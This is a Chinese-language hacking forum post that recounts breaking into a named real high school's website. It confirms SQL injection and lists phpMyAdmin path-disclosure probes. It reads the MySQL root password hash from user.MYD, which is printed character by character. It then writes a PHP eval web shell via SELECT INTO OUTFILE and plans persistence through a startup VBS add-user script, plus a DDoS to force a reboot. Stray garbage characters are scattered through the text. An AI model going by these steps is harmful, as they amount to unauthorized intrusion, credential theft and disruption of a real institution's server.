友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！



, [8 Z" N7 `+ }/ }: o4 C常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
5 t* a9 E5 y6 Q5 Z# @
那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
9 e" ?% Q7 \, c
5 J" r. Q5 z8 ]试着爆绝对路径：
9 `$ H- z) |; V8 K6 h& i1./phpMyAdmin/index.php?lang[]=1  
! \3 K3 k5 k" S: I: _3 [2./phpMyAdmin/phpinfo.php  
; q. b% E/ _5 v* Z3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
- B" q5 m( f2 i& {8./phpmyadmin/libraries/export/xls.php  

均不行...........................
; e& H7 {. e/ B$ m0 r( e; {
/ d/ }2 ^' ^; ^! x御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
- h( _, W# `6 B/ e8 y, H6 J: T; Z
默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
) @3 ]( M, b8 j% \" Q6 Y
% a% O" ~9 a6 }" ]9 i敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

4 w) t5 {4 h8 k想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
5 f% P( z" f  l0 ^2 J' z1 V
* F+ g4 I, O" i9 \http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
6 P) v& P: n( y
" |4 e' d( ?' j% L+ T' u# D0 J自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
5 W6 T# a! G$ L- G; Y
成功读到root密码：

- m  C, i& Y% G# p& s& n( V4 `17---- r(0072)
18---- o(006f)
* r8 I/ V4 e' j% S. z19---- o(006f)
20---- t(0074)
/ ?" @! c3 Z6 ]21---- *(002a)
( k* E- u3 ^+ X* e- t22---- 8(0038)
/ z1 l2 ^4 ~) f' n. B9 K8 z23---- 2(0032)
24---- E(0045)
25---- 1(0031)
26---- C(0043)
# E) E! Y, _. j27---- 5(0035)
! x' @7 j) f0 ?# G4 W28---- 8(0038)
29---- 2(0032)
30---- 8(0038)
31---- A(0041)
3 Z: B: p5 A1 R7 u. ]$ Y4 h32---- 9(0039)
33---- B(0042)
! T, i0 T4 G/ `# E+ X5 n8 ]34---- 5(0035)
/ v! Z8 y1 K! l& M! S, n' k, f35---- 4(0034)
  Y7 `  [9 l' }' P; ^% g% q; N! Z36---- 8(0038)
0 ^% L6 D+ I" {6 ~1 i37---- 6(0036)
4 n( ]3 x: ^- {) O; J! d38---- 4(0034)
39---- 9(0039)
40---- 1(0031)
# l  b( K( O# Y41---- 1(0031)
42---- 5(0035)
43---- 3(0033)
+ k& F2 Q' N) H. z& H" u44---- 5(0035)
45---- 9(0039)
' B1 q7 `) s4 V* _, j2 s' S46---- 8(0038)
47---- F(0046)
48---- F(0046)
49---- 4(0034)
5 C1 I! S# U9 T- S( o50---- F(0046)
- t+ z3 p. Y4 `. R+ j/ |51---- 0(0030)
52---- 3(0033)
53---- 2(0032)
# ?3 M% m) ?9 S* o5 D54---- A(0041)
" `) \$ t/ }$ k- q7 G55---- 4(0034)
3 n6 @2 o- _0 @- a. j2 C56---- A(0041)
57---- B(0042)
58---- *(0044)
5 |5 ^* A- B  R0 r( I. m59---- *(0035)
60---- *(0041)
61---- *0032)
% z. Z5 K1 d* G
& t( G( _8 ~5 L# G解密后成功登陆phpmyamin
/ Q* p5 Z2 R* o0 k  x+ o                          

                             

% r5 k/ d& R9 V, @找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
  M* ~7 v) @0 ?6 ~. w# T/ Q
9 l' T# M( f1 |/ n+ u; o成功执行，拿下shell，菜刀连接：

" U3 u. P0 B! ?, C+ P) z服务器不支持asp,aspx,php提权无果...................
- r# X. Y9 |& Q4 Q4 M; s9 C5 r
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

别名     administrators
" i9 X. e6 a* H5 F. \  J; b注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
admin
Administrator
slipper$
sqluser
命令成功完成。
# B1 _  y2 c: B  D
2 \7 w/ M' c4 C% M服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
( S+ _2 w! ~0 f( z. h
& R6 V9 Y' N0 X7 gddos服务器重启，不然就只能坐等服务器重启了...............................

& o) I7 N! F# i7 w% U2 K      

angel